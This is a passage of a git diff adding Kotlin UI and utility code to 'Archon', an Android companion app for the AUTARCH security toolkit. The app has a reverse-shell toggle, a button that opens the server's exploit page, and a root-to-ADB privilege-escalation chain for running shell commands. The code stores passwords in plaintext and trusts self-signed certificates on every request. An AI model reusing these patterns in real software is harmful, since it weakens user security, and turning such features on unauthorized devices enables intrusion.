${shieldStatus?.summary ?: "no scan run"}" + + setStatusDot(honeypotStatusDot, honeypotStatus?.active == true) + honeypotStatusText.text = "Status: ${honeypotStatus?.summary ?: "idle"}" + + setStatusDot(revshellStatusDot, revshellStatus?.active == true) + revshellStatusText.text = "Status: ${revshellStatus?.summary ?: "Disabled"}" + + appendLog("Privilege: ${method.label}") + if (archonRunning) appendLog("Archon Server: active") + } + }.start() + } + + private fun runArchonCommand(command: String) { + appendLog("$ $command") + + Thread { + val method = PrivilegeManager.getAvailableMethod() + if (method == PrivilegeManager.Method.NONE) { + handler.post { appendLog("Error: No privilege method — run Setup first") } + return@Thread + } + + val result = PrivilegeManager.execute(command) + handler.post { + if (result.stdout.isNotEmpty()) { + // Show up to 30 lines + val lines = result.stdout.split("\n").take(30) + for (line in lines) { + appendLog(line) + } + if (result.stdout.split("\n").size > 30) { + appendLog("... (${result.stdout.split("\n").size - 30} more lines)") + } + } + if (result.stderr.isNotEmpty()) { + appendLog("ERR: ${result.stderr}") + } + if (result.exitCode != 0) { + appendLog("exit: ${result.exitCode}") + } + } + }.start() + } + + private fun runModuleAction(moduleId: String, actionId: String, label: String) { + appendLog("Running: $label...") + + Thread { + val result = ModuleManager.executeAction(moduleId, actionId, requireContext()) + + handler.post { + appendLog("$label: ${result.output}") + for (detail in result.details.take(20)) { + appendLog(" $detail") + } + + // Update module status after action + when (moduleId) { + "shield" -> shieldStatusText.text = "Last: ${result.output}" + "honeypot" -> honeypotStatusText.text = "Status: ${result.output}" + "revshell" -> revshellStatusText.text = "Status: ${result.output}" + } + } + }.start() + } + + private fun setStatusDot(dot: View, online: Boolean) { + val drawable = GradientDrawable() + drawable.shape = GradientDrawable.OVAL + drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666")) + dot.background = drawable + } + + private fun appendLog(msg: String) { + val current = outputLog.text.toString() + val lines = current.split("\n").takeLast(30) + outputLog.text = (lines + "> $msg").joinToString("\n") + } + + /** + * Show reverse shell safety warnings one at a time. + * After all 3 are accepted, set the warning flag and run the enable action. + */ + private fun showRevshellWarnings(index: Int) { + val warnings = ReverseShellModule.WARNINGS + if (index >= warnings.size) { + // All warnings accepted — set the prefs flag and enable + val prefs = requireContext().getSharedPreferences("archon_revshell", Context.MODE_PRIVATE) + prefs.edit().putBoolean("revshell_warnings_accepted", true).apply() + appendLog("All warnings accepted") + runModuleAction("revshell", "enable", "Enable") + return + } + + AlertDialog.Builder(requireContext()) + .setTitle("Warning ${index + 1} of ${warnings.size}") + .setMessage(warnings[index]) + .setPositiveButton("I Understand") { _, _ -> + showRevshellWarnings(index + 1) + } + .setNegativeButton("Cancel") { _, _ -> + appendLog("Reverse shell enable cancelled at warning ${index + 1}") + } + .setCancelable(false) + .show() + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/SettingsFragment.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/SettingsFragment.kt new file mode 100644 index 0000000..5991048 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/SettingsFragment.kt @@ -0,0 +1,231 @@ +package com.darkhal.archon.ui + +import android.os.Bundle +import android.os.Handler +import android.os.Looper +import android.view.LayoutInflater +import android.view.View +import android.view.ViewGroup +import android.widget.TextView +import android.widget.Toast +import androidx.fragment.app.Fragment +import com.darkhal.archon.LoginActivity +import com.darkhal.archon.R +import com.darkhal.archon.service.DiscoveryManager +import com.darkhal.archon.util.AuthManager +import com.darkhal.archon.util.PrefsManager +import com.darkhal.archon.util.ShellExecutor +import com.darkhal.archon.util.SslHelper +import com.google.android.material.button.MaterialButton +import com.google.android.material.materialswitch.MaterialSwitch +import com.google.android.material.textfield.TextInputEditText + +class SettingsFragment : Fragment() { + + private lateinit var inputServerIp: TextInputEditText + private lateinit var inputWebPort: TextInputEditText + private lateinit var inputAdbPort: TextInputEditText + private lateinit var inputUsbipPort: TextInputEditText + private lateinit var switchAutoRestart: MaterialSwitch + private lateinit var statusText: TextView + + private val handler = Handler(Looper.getMainLooper()) + + override fun onCreateView( + inflater: LayoutInflater, + container: ViewGroup?, + savedInstanceState: Bundle? + ): View { + return inflater.inflate(R.layout.fragment_settings, container, false) + } + + override fun onViewCreated(view: View, savedInstanceState: Bundle?) { + super.onViewCreated(view, savedInstanceState) + + inputServerIp = view.findViewById(R.id.input_server_ip) + inputWebPort = view.findViewById(R.id.input_web_port) + inputAdbPort = view.findViewById(R.id.input_adb_port) + inputUsbipPort = view.findViewById(R.id.input_usbip_port) + switchAutoRestart = view.findViewById(R.id.switch_settings_auto_restart) + statusText = view.findViewById(R.id.settings_status) + + loadSettings() + + view.findViewById(R.id.btn_save_settings).setOnClickListener { + saveSettings() + } + + view.findViewById(R.id.btn_auto_detect).setOnClickListener { + autoDetectServer(it as MaterialButton) + } + + view.findViewById(R.id.btn_test_connection).setOnClickListener { + testConnection() + } + + view.findViewById(R.id.btn_logout).setOnClickListener { + AuthManager.logout(requireContext()) + val intent = android.content.Intent(requireContext(), LoginActivity::class.java) + intent.flags = android.content.Intent.FLAG_ACTIVITY_NEW_TASK or android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK + startActivity(intent) + } + } + + private fun loadSettings() { + val ctx = requireContext() + inputServerIp.setText(PrefsManager.getServerIp(ctx)) + inputWebPort.setText(PrefsManager.getWebPort(ctx).toString()) + inputAdbPort.setText(PrefsManager.getAdbPort(ctx).toString()) + inputUsbipPort.setText(PrefsManager.getUsbIpPort(ctx).toString()) + switchAutoRestart.isChecked = PrefsManager.isAutoRestartAdb(ctx) + } + + private fun saveSettings() { + val ctx = requireContext() + + val serverIp = inputServerIp.text.toString().trim() + val webPort = inputWebPort.text.toString().trim().toIntOrNull() ?: 8181 + val adbPort = inputAdbPort.text.toString().trim().toIntOrNull() ?: 5555 + val usbipPort = inputUsbipPort.text.toString().trim().toIntOrNull() ?: 3240 + + if (serverIp.isEmpty()) { + statusText.text = "Error: Server IP cannot be empty" + return + } + + // Validate IP format (IPv4 or hostname) + if (!isValidIpOrHostname(serverIp)) { + statusText.text = "Error: Invalid IP address or hostname" + return + } + + // Validate port ranges + if (webPort < 1 || webPort > 65535) { + statusText.text = "Error: Web port must be 1-65535" + return + } + if (adbPort < 1 || adbPort > 65535) { + statusText.text = "Error: ADB port must be 1-65535" + return + } + + PrefsManager.setServerIp(ctx, serverIp) + PrefsManager.setWebPort(ctx, webPort) + PrefsManager.setAdbPort(ctx, adbPort) + PrefsManager.setUsbIpPort(ctx, usbipPort) + PrefsManager.setAutoRestartAdb(ctx, switchAutoRestart.isChecked) + + statusText.text = "Settings saved" + Toast.makeText(ctx, "Settings saved", Toast.LENGTH_SHORT).show() + } + + private fun isValidIpOrHostname(input: String): Boolean { + // IPv4 pattern + val ipv4 = Regex("""^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$""") + val match = ipv4.matchEntire(input) + if (match != null) { + return match.groupValues.drop(1).all { + val n = it.toIntOrNull() ?: return false + n in 0..255 + } + } + // Hostname pattern (alphanumeric, dots, hyphens) + val hostname = Regex("""^[a-zA-Z0-9]([a-zA-Z0-9\-]*[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]*[a-zA-Z0-9])?)*$""") + return hostname.matches(input) + } + + private fun autoDetectServer(btn: MaterialButton) { + statusText.text = "Scanning for AUTARCH server..." + btn.isEnabled = false + btn.text = "SCANNING..." + + val discovery = DiscoveryManager(requireContext()) + discovery.listener = object : DiscoveryManager.Listener { + override fun onServerFound(server: DiscoveryManager.DiscoveredServer) { + discovery.stopDiscovery() + + val method = when (server.method) { + DiscoveryManager.ConnectionMethod.MDNS -> "LAN (mDNS)" + DiscoveryManager.ConnectionMethod.WIFI_DIRECT -> "Wi-Fi Direct" + DiscoveryManager.ConnectionMethod.BLUETOOTH -> "Bluetooth" + } + + if (server.ip.isNotEmpty()) { + inputServerIp.setText(server.ip) + } + if (server.port > 0) { + inputWebPort.setText(server.port.toString()) + } + + statusText.text = "Found ${server.hostname} via $method\nIP: ${server.ip} Port: ${server.port}" + btn.isEnabled = true + btn.text = "AUTO-DETECT SERVER" + } + + override fun onDiscoveryStarted(method: DiscoveryManager.ConnectionMethod) {} + + override fun onDiscoveryStopped(method: DiscoveryManager.ConnectionMethod) { + if (discovery.getDiscoveredServers().isEmpty()) { + handler.post { + statusText.text = "No AUTARCH server found on network.\nCheck that the server is running and on the same network." + btn.isEnabled = true + btn.text = "AUTO-DETECT SERVER" + } + } + } + + override fun onDiscoveryError(method: DiscoveryManager.ConnectionMethod, error: String) {} + } + discovery.startDiscovery() + } + + private fun testConnection() { + val serverIp = inputServerIp.text.toString().trim() + val webPort = inputWebPort.text.toString().trim().toIntOrNull() ?: 8181 + + if (serverIp.isEmpty()) { + statusText.text = "Error: Enter a server IP first" + return + } + + if (!isValidIpOrHostname(serverIp)) { + statusText.text = "Error: Invalid IP address" + return + } + + statusText.text = "Testing connection to $serverIp..." + + Thread { + // Ping test + val pingResult = ShellExecutor.execute("ping -c 1 -W 3 $serverIp") + val pingOk = pingResult.exitCode == 0 + + // HTTPS test — probe root endpoint + val httpOk = try { + val url = java.net.URL("https://$serverIp:$webPort/") + val conn = url.openConnection() as java.net.HttpURLConnection + SslHelper.trustSelfSigned(conn) + conn.connectTimeout = 5000 + conn.readTimeout = 5000 + conn.requestMethod = "GET" + val code = conn.responseCode + conn.disconnect() + code in 200..399 + } catch (e: Exception) { + false + } + + handler.post { + val status = StringBuilder() + status.append("Ping: ${if (pingOk) "OK" else "FAILED"}\n") + status.append("HTTPS ($webPort): ${if (httpOk) "OK" else "FAILED"}") + if (!pingOk && !httpOk) { + status.append("\n\nServer unreachable. Check WireGuard tunnel and IP.") + } else if (pingOk && !httpOk) { + status.append("\n\nHost reachable but web UI not responding on port $webPort.") + } + statusText.text = status.toString() + } + }.start() + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/SetupFragment.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/SetupFragment.kt new file mode 100644 index 0000000..615f400 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/SetupFragment.kt @@ -0,0 +1,293 @@ +package com.darkhal.archon.ui + +import android.Manifest +import android.content.ClipData +import android.content.ClipboardManager +import android.content.Context +import android.content.Intent +import android.content.pm.PackageManager +import android.graphics.Color +import android.graphics.drawable.GradientDrawable +import android.net.Uri +import android.os.Build +import android.os.Bundle +import android.os.Handler +import android.os.Looper +import android.view.LayoutInflater +import android.view.View +import android.view.ViewGroup +import android.widget.TextView +import android.widget.Toast +import androidx.activity.result.contract.ActivityResultContracts +import androidx.core.content.ContextCompat +import androidx.fragment.app.Fragment +import com.darkhal.archon.R +import com.darkhal.archon.server.ArchonClient +import com.darkhal.archon.service.LocalAdbClient +import com.darkhal.archon.service.PairingReceiver +import com.darkhal.archon.util.PrefsManager +import com.darkhal.archon.util.PrivilegeManager +import com.darkhal.archon.util.ShellExecutor +import com.google.android.material.button.MaterialButton + +class SetupFragment : Fragment() { + + private lateinit var privilegeStatusDot: View + private lateinit var privilegeStatusText: TextView + private lateinit var btnStartPairing: MaterialButton + private lateinit var localAdbStatus: TextView + private lateinit var archonServerStatusDot: View + private lateinit var archonServerStatus: TextView + private lateinit var btnStartArchonServer: MaterialButton + private lateinit var btnStopArchonServer: MaterialButton + private lateinit var btnShowCommand: MaterialButton + private lateinit var serverAdbStatus: TextView + private lateinit var btnBootstrapUsb: MaterialButton + private lateinit var rootStatus: TextView + private lateinit var btnCheckRoot: MaterialButton + private lateinit var btnRootExploit: MaterialButton + private lateinit var outputLog: TextView + + private val handler = Handler(Looper.getMainLooper()) + + // Notification permission request (Android 13+) + private val notificationPermissionLauncher = registerForActivityResult( + ActivityResultContracts.RequestPermission() + ) { granted -> + if (granted) { + startPairingNotification() + } else { + appendLog("Notification permission denied — cannot show pairing notification") + appendLog("Grant notification permission in app settings") + } + } + + override fun onCreateView( + inflater: LayoutInflater, + container: ViewGroup?, + savedInstanceState: Bundle? + ): View { + return inflater.inflate(R.layout.fragment_setup, container, false) + } + + override fun onViewCreated(view: View, savedInstanceState: Bundle?) { + super.onViewCreated(view, savedInstanceState) + + // Bind views + privilegeStatusDot = view.findViewById(R.id.privilege_status_dot) + privilegeStatusText = view.findViewById(R.id.privilege_status_text) + btnStartPairing = view.findViewById(R.id.btn_start_pairing) + localAdbStatus = view.findViewById(R.id.local_adb_status) + archonServerStatusDot = view.findViewById(R.id.archon_server_status_dot) + archonServerStatus = view.findViewById(R.id.archon_server_status) + btnStartArchonServer = view.findViewById(R.id.btn_start_archon_server) + btnStopArchonServer = view.findViewById(R.id.btn_stop_archon_server) + btnShowCommand = view.findViewById(R.id.btn_show_command) + serverAdbStatus = view.findViewById(R.id.server_adb_status) + btnBootstrapUsb = view.findViewById(R.id.btn_bootstrap_usb) + rootStatus = view.findViewById(R.id.root_status) + btnCheckRoot = view.findViewById(R.id.btn_check_root) + btnRootExploit = view.findViewById(R.id.btn_root_exploit) + outputLog = view.findViewById(R.id.setup_output_log) + + setupListeners() + initializeStatus() + } + + private fun setupListeners() { + // ── Wireless Debugging (Shizuku-style notification) ── + btnStartPairing.setOnClickListener { + // Check notification permission for Android 13+ + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { + if (ContextCompat.checkSelfPermission( + requireContext(), Manifest.permission.POST_NOTIFICATIONS + ) != PackageManager.PERMISSION_GRANTED + ) { + notificationPermissionLauncher.launch(Manifest.permission.POST_NOTIFICATIONS) + return@setOnClickListener + } + } + startPairingNotification() + } + + // ── Archon Server ── + btnStartArchonServer.setOnClickListener { + btnStartArchonServer.isEnabled = false + appendLog("Starting Archon Server...") + + Thread { + val result = ArchonClient.startServer(requireContext()) + handler.post { + btnStartArchonServer.isEnabled = true + appendLog(result.message) + updateArchonServerStatus() + if (result.success) { + PrivilegeManager.refreshMethod() + updatePrivilegeStatus() + } + } + }.start() + } + + btnStopArchonServer.setOnClickListener { + appendLog("Stopping Archon Server...") + Thread { + val stopped = ArchonClient.stopServer(requireContext()) + handler.post { + appendLog(if (stopped) "Server stopped" else "Failed to stop server") + updateArchonServerStatus() + PrivilegeManager.refreshMethod() + updatePrivilegeStatus() + } + }.start() + } + + btnShowCommand.setOnClickListener { + val cmd = ArchonClient.getBootstrapCommand(requireContext()) + appendLog("ADB command to start Archon Server:") + appendLog("adb shell \"$cmd\"") + + // Copy to clipboard + val clipboard = requireContext().getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager + clipboard.setPrimaryClip(ClipData.newPlainText("Archon Bootstrap", "adb shell \"$cmd\"")) + Toast.makeText(requireContext(), "Command copied to clipboard", Toast.LENGTH_SHORT).show() + } + + // ── USB via AUTARCH ── + btnBootstrapUsb.setOnClickListener { + val serverIp = PrefsManager.getServerIp(requireContext()) + val serverPort = PrefsManager.getWebPort(requireContext()) + + if (serverIp.isEmpty()) { + appendLog("Server not configured — set IP in Settings tab or use SCAN on Dashboard") + return@setOnClickListener + } + + btnBootstrapUsb.isEnabled = false + appendLog("Bootstrapping via AUTARCH USB ADB ($serverIp:$serverPort)...") + + Thread { + val result = ArchonClient.startServer(requireContext()) + handler.post { + btnBootstrapUsb.isEnabled = true + appendLog(result.message) + if (result.success) { + updateArchonServerStatus() + PrivilegeManager.refreshMethod() + updatePrivilegeStatus() + } + } + }.start() + } + + // ── Root ── + btnCheckRoot.setOnClickListener { + appendLog("Checking root access...") + Thread { + val hasRoot = ShellExecutor.isRootAvailable() + handler.post { + rootStatus.text = if (hasRoot) "Status: rooted" else "Status: not rooted" + appendLog(if (hasRoot) "Root access available" else "Device is not rooted") + if (hasRoot) { + PrivilegeManager.refreshMethod() + updatePrivilegeStatus() + } + } + }.start() + } + + btnRootExploit.setOnClickListener { + val serverIp = PrefsManager.getServerIp(requireContext()) + val serverPort = PrefsManager.getWebPort(requireContext()) + if (serverIp.isEmpty()) { + appendLog("Server not configured — set IP in Settings tab") + return@setOnClickListener + } + val url = "https://$serverIp:$serverPort/android-exploit" + try { + startActivity(Intent(Intent.ACTION_VIEW, Uri.parse(url))) + appendLog("Opened exploit page in browser") + } catch (e: Exception) { + appendLog("Could not open browser: ${e.message}") + } + } + } + + private fun startPairingNotification() { + appendLog("Showing pairing notification...") + appendLog("Now open Developer Options > Wireless Debugging > Pair with code") + appendLog("Enter the 6-digit code in the notification") + PairingReceiver.showPairingNotification(requireContext()) + localAdbStatus.text = "Status: waiting for pairing code in notification..." + } + + private fun initializeStatus() { + appendLog("Checking available privilege methods...") + + val ctx = requireContext() + PrivilegeManager.init( + ctx, + PrefsManager.getServerIp(ctx), + PrefsManager.getWebPort(ctx) + ) + + Thread { + val hasRoot = ShellExecutor.isRootAvailable() + val method = PrivilegeManager.refreshMethod() + + handler.post { + rootStatus.text = if (hasRoot) "Status: rooted" else "Status: not rooted" + localAdbStatus.text = "Status: ${LocalAdbClient.getStatusString(requireContext())}" + + val serverIp = PrefsManager.getServerIp(ctx) + serverAdbStatus.text = if (serverIp.isNotEmpty()) { + "Server: $serverIp:${PrefsManager.getWebPort(ctx)}" + } else { + "Server: not configured — set IP in Settings or SCAN on Dashboard" + } + + updateArchonServerStatus() + updatePrivilegeStatus() + appendLog("Best method: ${method.label}") + } + }.start() + } + + private fun updatePrivilegeStatus() { + val method = PrivilegeManager.getAvailableMethod() + val isReady = method != PrivilegeManager.Method.NONE + + setStatusDot(privilegeStatusDot, isReady) + privilegeStatusText.text = "Privilege: ${method.label}" + } + + private fun updateArchonServerStatus() { + Thread { + val running = ArchonClient.isServerRunning(requireContext()) + val info = if (running) ArchonClient.getServerInfo(requireContext()) else null + + handler.post { + setStatusDot(archonServerStatusDot, running) + archonServerStatus.text = if (running) { + "Status: Running ($info)" + } else { + "Status: Not running" + } + btnStopArchonServer.isEnabled = running + } + }.start() + } + + private fun setStatusDot(dot: View, online: Boolean) { + val drawable = GradientDrawable() + drawable.shape = GradientDrawable.OVAL + drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666")) + dot.background = drawable + } + + private fun appendLog(msg: String) { + val current = outputLog.text.toString() + val lines = current.split("\n").takeLast(25) + outputLog.text = (lines + "> $msg").joinToString("\n") + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/AuthManager.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/AuthManager.kt new file mode 100644 index 0000000..e9d1758 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/AuthManager.kt @@ -0,0 +1,209 @@ +package com.darkhal.archon.util + +import android.content.Context +import android.util.Log +import java.net.CookieManager +import java.net.CookiePolicy +import java.net.HttpURLConnection +import java.net.URL + +/** + * Manages authentication with the AUTARCH web server. + * + * Handles login via JSON API, cookie storage, and attaching + * the session cookie to all outbound HTTP requests. + */ +object AuthManager { + + private const val TAG = "AuthManager" + private const val PREFS_NAME = "archon_auth" + private const val KEY_USERNAME = "username" + private const val KEY_PASSWORD = "password" + private const val KEY_SESSION_COOKIE = "session_cookie" + private const val KEY_LOGGED_IN = "logged_in" + + @Volatile + private var sessionCookie: String? = null + + /** + * Log in to the AUTARCH web server. + * Returns true on success. Stores the session cookie. + */ + fun login(context: Context, username: String, password: String): LoginResult { + val baseUrl = PrefsManager.getAutarchBaseUrl(context) + if (baseUrl.contains("://:" ) || baseUrl.endsWith("://")) { + return LoginResult(false, "No server IP configured") + } + + return try { + val url = URL("$baseUrl/api/login") + val conn = url.openConnection() as HttpURLConnection + SslHelper.trustSelfSigned(conn) + conn.connectTimeout = 5000 + conn.readTimeout = 10000 + conn.requestMethod = "POST" + conn.setRequestProperty("Content-Type", "application/json") + conn.doOutput = true + + val payload = """{"username":"${escapeJson(username)}","password":"${escapeJson(password)}"}""" + conn.outputStream.write(payload.toByteArray()) + + val code = conn.responseCode + val body = if (code in 200..299) { + conn.inputStream.bufferedReader().readText() + } else { + conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $code" + } + + // Extract Set-Cookie header + val cookie = conn.getHeaderField("Set-Cookie") + conn.disconnect() + + if (code == 200 && body.contains("\"ok\":true")) { + // Store credentials and cookie + sessionCookie = cookie + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + prefs.edit() + .putString(KEY_USERNAME, username) + .putString(KEY_PASSWORD, password) + .putString(KEY_SESSION_COOKIE, cookie ?: "") + .putBoolean(KEY_LOGGED_IN, true) + .apply() + + Log.i(TAG, "Login successful for $username") + LoginResult(true, "Logged in as $username") + } else { + Log.w(TAG, "Login failed: HTTP $code - $body") + LoginResult(false, "Invalid credentials") + } + } catch (e: Exception) { + Log.e(TAG, "Login error", e) + LoginResult(false, "Connection error: ${e.message}") + } + } + + /** + * Check if we have stored credentials and a valid session. + */ + fun isLoggedIn(context: Context): Boolean { + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + return prefs.getBoolean(KEY_LOGGED_IN, false) && + prefs.getString(KEY_USERNAME, null) != null + } + + /** + * Get stored username. + */ + fun getUsername(context: Context): String { + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + return prefs.getString(KEY_USERNAME, "") ?: "" + } + + /** + * Get stored password. + */ + fun getPassword(context: Context): String { + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + return prefs.getString(KEY_PASSWORD, "") ?: "" + } + + /** + * Re-login using stored credentials (refreshes session cookie). + */ + fun refreshSession(context: Context): Boolean { + val username = getUsername(context) + val password = getPassword(context) + if (username.isEmpty() || password.isEmpty()) return false + return login(context, username, password).success + } + + /** + * Attach the session cookie to an HttpURLConnection. + * Call this before sending any request to the AUTARCH server. + */ + fun attachSession(context: Context, conn: HttpURLConnection) { + val cookie = sessionCookie ?: run { + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + prefs.getString(KEY_SESSION_COOKIE, null) + } + if (cookie != null) { + conn.setRequestProperty("Cookie", cookie) + } + } + + /** + * Make an authenticated POST request to the AUTARCH server. + * Handles cookie attachment and auto-refreshes session on 401. + */ + fun authenticatedPost(context: Context, path: String, jsonPayload: String): HttpResult { + val baseUrl = PrefsManager.getAutarchBaseUrl(context) + return try { + var result = doPost(context, "$baseUrl$path", jsonPayload) + + // If 401, try refreshing session once + if (result.code == 401 || result.code == 302) { + Log.i(TAG, "Session expired, refreshing...") + if (refreshSession(context)) { + result = doPost(context, "$baseUrl$path", jsonPayload) + } + } + + result + } catch (e: Exception) { + Log.e(TAG, "Authenticated POST failed", e) + HttpResult(-1, "", "Connection error: ${e.message}") + } + } + + private fun doPost(context: Context, urlStr: String, jsonPayload: String): HttpResult { + val url = URL(urlStr) + val conn = url.openConnection() as HttpURLConnection + SslHelper.trustSelfSigned(conn) + conn.connectTimeout = 5000 + conn.readTimeout = 15000 + conn.requestMethod = "POST" + conn.setRequestProperty("Content-Type", "application/json") + conn.instanceFollowRedirects = false + conn.doOutput = true + + attachSession(context, conn) + + conn.outputStream.write(jsonPayload.toByteArray()) + + val code = conn.responseCode + + // Capture new cookie if server rotates it + val newCookie = conn.getHeaderField("Set-Cookie") + if (newCookie != null) { + sessionCookie = newCookie + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + prefs.edit().putString(KEY_SESSION_COOKIE, newCookie).apply() + } + + val body = if (code in 200..299) { + conn.inputStream.bufferedReader().readText() + } else { + conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $code" + } + conn.disconnect() + + return HttpResult(code, body, "") + } + + /** + * Logout — clear stored credentials and cookie. + */ + fun logout(context: Context) { + sessionCookie = null + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + prefs.edit().clear().apply() + Log.i(TAG, "Logged out") + } + + private fun escapeJson(s: String): String { + return s.replace("\\", "\\\\").replace("\"", "\\\"").replace("\n", "\\n") + } + + data class LoginResult(val success: Boolean, val message: String) + data class HttpResult(val code: Int, val body: String, val error: String) +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/PrefsManager.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/PrefsManager.kt new file mode 100644 index 0000000..2822d0a --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/PrefsManager.kt @@ -0,0 +1,80 @@ +package com.darkhal.archon.util + +import android.content.Context +import android.content.SharedPreferences + +object PrefsManager { + + private const val PREFS_NAME = "archon_prefs" + + private const val KEY_SERVER_IP = "server_ip" + private const val KEY_WEB_PORT = "web_port" + private const val KEY_ADB_PORT = "adb_port" + private const val KEY_USBIP_PORT = "usbip_port" + private const val KEY_AUTO_RESTART_ADB = "auto_restart_adb" + private const val KEY_BBS_ADDRESS = "bbs_address" + + private const val DEFAULT_SERVER_IP = "" + private const val DEFAULT_WEB_PORT = 8181 + private const val DEFAULT_ADB_PORT = 5555 + private const val DEFAULT_USBIP_PORT = 3240 + private const val DEFAULT_BBS_ADDRESS = "" + + private fun prefs(context: Context): SharedPreferences { + return context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + } + + fun getServerIp(context: Context): String { + return prefs(context).getString(KEY_SERVER_IP, DEFAULT_SERVER_IP) ?: DEFAULT_SERVER_IP + } + + fun setServerIp(context: Context, ip: String) { + prefs(context).edit().putString(KEY_SERVER_IP, ip).apply() + } + + fun getWebPort(context: Context): Int { + return prefs(context).getInt(KEY_WEB_PORT, DEFAULT_WEB_PORT) + } + + fun setWebPort(context: Context, port: Int) { + prefs(context).edit().putInt(KEY_WEB_PORT, port).apply() + } + + fun getAdbPort(context: Context): Int { + return prefs(context).getInt(KEY_ADB_PORT, DEFAULT_ADB_PORT) + } + + fun setAdbPort(context: Context, port: Int) { + prefs(context).edit().putInt(KEY_ADB_PORT, port).apply() + } + + fun getUsbIpPort(context: Context): Int { + return prefs(context).getInt(KEY_USBIP_PORT, DEFAULT_USBIP_PORT) + } + + fun setUsbIpPort(context: Context, port: Int) { + prefs(context).edit().putInt(KEY_USBIP_PORT, port).apply() + } + + fun isAutoRestartAdb(context: Context): Boolean { + return prefs(context).getBoolean(KEY_AUTO_RESTART_ADB, true) + } + + fun setAutoRestartAdb(context: Context, enabled: Boolean) { + prefs(context).edit().putBoolean(KEY_AUTO_RESTART_ADB, enabled).apply() + } + + fun getBbsAddress(context: Context): String { + return prefs(context).getString(KEY_BBS_ADDRESS, DEFAULT_BBS_ADDRESS) ?: DEFAULT_BBS_ADDRESS + } + + fun setBbsAddress(context: Context, address: String) { + prefs(context).edit().putString(KEY_BBS_ADDRESS, address).apply() + } + + fun getAutarchBaseUrl(context: Context): String { + val ip = getServerIp(context) + val port = getWebPort(context) + return "https://$ip:$port" + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/PrivilegeManager.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/PrivilegeManager.kt new file mode 100644 index 0000000..a2d12ed --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/PrivilegeManager.kt @@ -0,0 +1,199 @@ +package com.darkhal.archon.util + +import android.content.Context +import android.util.Log +import com.darkhal.archon.server.ArchonClient +import com.darkhal.archon.service.LocalAdbClient +import java.net.HttpURLConnection +import java.net.URL + +/** + * Central privilege escalation chain manager. + * Tries methods in order: ROOT → ARCHON_SERVER → LOCAL_ADB → SERVER_ADB → NONE + * + * ARCHON_SERVER is our own privileged process running at UID 2000 (shell level), + * started via app_process through an ADB connection. It replaces Shizuku entirely. + */ +object PrivilegeManager { + + private const val TAG = "PrivilegeManager" + + enum class Method(val label: String) { + ROOT("Root (su)"), + ARCHON_SERVER("Archon Server"), + LOCAL_ADB("Wireless ADB"), + SERVER_ADB("Server ADB"), + NONE("No privileges") + } + + private var cachedMethod: Method? = null + private var serverIp: String = "" + private var serverPort: Int = 8181 + private var appContext: Context? = null + + /** + * Initialize with app context and server connection info. + */ + fun init(context: Context, serverIp: String = "", serverPort: Int = 8181) { + appContext = context.applicationContext + this.serverIp = serverIp + this.serverPort = serverPort + cachedMethod = null + } + + /** + * Update the AUTARCH server connection info. + */ + fun setServerConnection(ip: String, port: Int) { + serverIp = ip + serverPort = port + if (cachedMethod == Method.SERVER_ADB || cachedMethod == Method.NONE) { + cachedMethod = null + } + } + + /** + * Determine the best available privilege method. + */ + fun getAvailableMethod(): Method { + cachedMethod?.let { return it } + + val method = when { + checkRoot() -> Method.ROOT + checkArchonServer() -> Method.ARCHON_SERVER + checkLocalAdb() -> Method.LOCAL_ADB + checkServerAdb() -> Method.SERVER_ADB + else -> Method.NONE + } + + cachedMethod = method + Log.i(TAG, "Available method: ${method.name}") + return method + } + + /** + * Force a re-check of available methods. + */ + fun refreshMethod(): Method { + cachedMethod = null + return getAvailableMethod() + } + + fun isReady(): Boolean = getAvailableMethod() != Method.NONE + + /** + * Execute a command via the best available method. + */ + fun execute(command: String): ShellResult { + return when (getAvailableMethod()) { + Method.ROOT -> executeViaRoot(command) + Method.ARCHON_SERVER -> executeViaArchonServer(command) + Method.LOCAL_ADB -> executeViaLocalAdb(command) + Method.SERVER_ADB -> executeViaServer(command) + Method.NONE -> ShellResult("", "No privilege method available — run Setup first", -1) + } + } + + fun getStatusDescription(): String { + return when (getAvailableMethod()) { + Method.ROOT -> "Connected via root shell" + Method.ARCHON_SERVER -> "Connected via Archon Server (UID 2000)" + Method.LOCAL_ADB -> "Connected via Wireless ADB" + Method.SERVER_ADB -> "Connected via AUTARCH server ($serverIp)" + Method.NONE -> "No privilege access — run Setup" + } + } + + // ── Method checks ───────────────────────────────────────────── + + private fun checkRoot(): Boolean 